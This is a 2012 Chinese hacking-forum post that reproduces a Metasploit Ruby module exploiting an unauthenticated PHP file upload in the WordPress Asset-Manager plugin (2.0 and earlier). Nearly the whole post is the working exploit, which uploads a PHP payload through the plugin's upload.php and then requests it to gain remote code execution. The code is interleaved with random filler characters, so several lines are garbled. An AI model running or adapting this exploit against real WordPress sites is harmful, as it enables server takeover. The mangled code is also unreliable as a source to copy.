找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2443|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。3 g  h2 {* d1 b
9 d7 v% Y4 c( Y! N; `! l
##2 P/ o8 Z+ {' O3 E" `; G
# This file is part of the Metasploit Framework and may be subject to
0 M' J: }# {" N* N+ A/ G# redistribution and commercial restrictions. Please see the Metasploit
( E: n$ V7 P9 Y2 I0 W+ d# Framework web site for more information on licensing and terms of use.
- X( y3 {* P. {9 P" w#   http://metasploit.com/framework/
' m1 R# C. j8 ~& b9 K##
- u+ I4 l/ p) {% t5 W
* f8 f: D1 D4 U- Q& Q: e/ Wrequire 'msf/core'; E& Y, |0 Z) R* g
require 'msf/core/exploit/php_exe'4 U% z8 O! g$ y5 o

- y* C0 g# f" z8 U9 J4 J2 d7 Mclass Metasploit3 < Msf::Exploit::Remote3 u& y) r2 o7 y
  Rank = ExcellentRanking
0 R* u6 U9 L" z( ^2 b0 r ( s3 {; W3 p. ?
  include Msf::Exploit::Remote::HttpClient
( f- `/ Y2 Q- _7 K  include Msf::Exploit:hpEXE; ~5 n6 \4 ^3 d. m7 L/ k3 J' ~
; O1 W* D, Z4 V
  def initialize(info = {})
/ R! {! l, I9 w: \+ A& w, H    super(update_info(info,
2 D4 S; M, ^0 P8 }) o, A3 m1 t. [      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
  i3 A6 r' ^+ T" z  [      'Description'    => %q{8 @3 h0 j% H& q* E& c7 j
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
9 n; U  M7 N  m- Z5 g$ o# ?/ k        plugin.  By abusing the upload.php file, a malicious user can upload a file to a6 E/ n' ^9 n; M
        temp directory without authentication, which results in arbitrary code execution.# i0 D$ @% n; L" b0 n2 P, Y
      },! Q" W, w9 X4 O* G7 p$ Z/ \( X& G( d
      'Author'         =>
5 B" ~$ [. J4 V/ L* x        [
* R1 J) J! Y( g9 R1 X) F          'Sammy FORGIT', # initial discovery4 F2 i3 F) j7 e5 C. V; a
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module' z' t1 H4 ^" n* |7 O  E
        ],
0 V/ i2 t; S' J5 ~      'License'        => MSF_LICENSE,
( ^, v0 Q8 d- l" w- F      'References'     =>) o: c6 R0 j7 O) n
        [2 N/ c5 [; o0 R& }
          [ 'OSVDB', '82653' ],7 j+ K( J5 l# o) R3 o8 w% C
          [ 'BID', '53809' ],, \; F7 d5 j1 u3 ?: D  n
          [ 'EDB', '18993' ],0 i  \8 M2 h( C$ ?. ^0 G
          [ 'URL', 'http:// www.myhack58.com /' ]
4 E9 l$ L7 U& g        ],4 a7 n2 o# _6 ^
      'Payload'       =>* ^; s) z; I1 X6 f4 C* i7 b* h$ T5 q
        {
# z5 S7 c1 C' F. _3 ?) h          'BadChars' => "\x00",
9 d& @- y) c2 s        },
/ f% P3 N6 G- y, t      'Platform'       => 'php'," I! r4 C4 R! c
      'Arch'           => ARCH_PHP," ?$ R  V* ]& h6 ~$ q
      'Targets'        =>  I0 x5 o& ]5 r. O) s2 {
        [
' e% ^+ U3 G3 A3 Y2 b          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],* N/ W* _6 p7 n+ ]5 l8 x6 R. J
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]" o; J5 ^' k. G# {: s' ~0 n
        ],
; h5 U- n  E- A& C9 _      'DefaultTarget' => 0,3 k0 ~* B- q( i6 A
      'DisclosureDate' => 'May 26 2012'))
' ~- V3 F. y* o6 t; ` . t) S2 R- V3 K- d8 U& p
    register_options(! }% _  p# p6 P$ e  [# H  B6 E
      [
' D$ C- K: i5 \        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
- ]  F0 e& ~& k- u) _      ], self.class)/ F) s0 g+ y1 V" I
  end
! c& V/ G; }+ Q/ k" ]2 C # X' S; E- S  }: R" F0 r
  def exploit
0 `, D5 v$ R  _* n4 q    uri =  target_uri.path4 M" A& ?; q3 i$ G$ H5 B+ t
    uri << '/' if uri[-1,1] != '/'4 n9 c* ~/ V5 X  A7 c
    peer = "#{rhost}:#{rport}"5 p/ ~# @4 M+ X% x2 a
    payload_name = "#{rand_text_alpha(5)}.php"
9 H" m( b; p# o& @    php_payload = get_write_exec_payload(:unlink_self=>true)
+ i2 V9 X4 w8 _* N
6 y3 |  R9 W+ {: v    data = Rex::MIME::Message.new
: N9 n7 a* m% i% ]- C! H% Y    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")2 r' R4 J! F" y: c4 I
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')' @, E- _1 l+ i1 v4 L& v0 p
% i# A3 y! S% R3 W% c( X8 G, r7 _
    print_status("#{peer} - Uploading payload #{payload_name}")
9 \; p( M, M! x4 T$ h    res = send_request_cgi({
' z" }$ R& o; C" @' [. T      'method'  => 'POST',
1 ^$ y) B6 s% ^5 D      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
5 a6 O9 J8 c1 k- e4 F      'ctype'   => "multipart/form-data; boundary=#{data.bound}",8 V% `$ x6 X" O* }/ [- T+ A, E
      'data'    => post_data2 ]9 K- E! @3 y+ O' |$ Q
    })' r& t4 r: r' J% |) b$ B
: N! A; `  M9 X- B( J' K
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
6 G% w& w3 x1 `4 K. x$ b      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
6 r; e& h. T! @8 Lend
! N0 @) P) j$ b& o
9 U+ @. u( H+ _6 Y9 u1 [+ H    print_status("#{peer} - Executing payload #{payload_name}")
! L; p# P. B- ]3 b! E    res = send_request_raw({
8 i4 x, Z  i. X* Y  Y* q      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
* n' f0 V: `4 j$ B& l      'method'  => 'GET'7 j* b6 O6 C* j& W; |1 X
    })
) p& F3 ]' F5 M( L1 P 1 n2 m4 N" @7 h: s- L) f( v/ I
    if res and res.code != 200
. d0 G! Y, ~# R( \3 j* C      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed"); A% O) \. m& V0 B. y
    end
  k) s7 J* g. V  end
3 L6 [9 T* O+ I8 Cend
! Y( q7 u' p- h; H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表